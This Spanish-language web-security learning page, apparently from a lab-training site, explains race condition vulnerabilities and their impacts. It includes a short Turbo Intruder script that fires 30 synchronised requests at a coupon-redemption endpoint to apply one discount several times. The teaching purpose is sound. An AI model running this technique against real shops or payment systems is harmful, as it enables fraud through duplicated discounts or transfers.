Nuevos labs cada semana — Accede a todos desde 5€/mes

Race Condition

Alto

Race Condition / Condición de Carrera

Definición

Una Race Condition es una vulnerabilidad que ocurre cuando el comportamiento de una aplicación depende de la secuencia o timing de eventos no controlados. En aplicaciones web, un atacante puede enviar múltiples peticiones simultáneas para explotar ventanas de tiempo donde las validaciones de seguridad no se aplican atómicamente.

Impacto

Uso múltiple de códigos de descuento o cuponesTransferencias bancarias duplicadasBypass de límites de uso (rate limits)Creación de recursos duplicadosEscalada de privilegios mediante operaciones no atómicas

Ejemplos

Race Condition en canje de cupón

El cupón debería poder usarse una sola vez, pero enviando 30 peticiones exactamente al mismo tiempo, varias se procesan antes de que la primera marque el cupón como usado, permitiendo aplicar el descuento múltiples veces.

# Turbo Intruder script para enviar peticiones en paralelo
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=1,
                          pipeline=False)

    for i in range(30):
        engine.queue(target.req, gate='race')

    engine.openGate('race')

# Petición que se envía 30 veces simultáneamente:
POST /api/coupon/redeem HTTP/1.1
{"code": "DESCUENTO50"}

Practica Race Condition con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica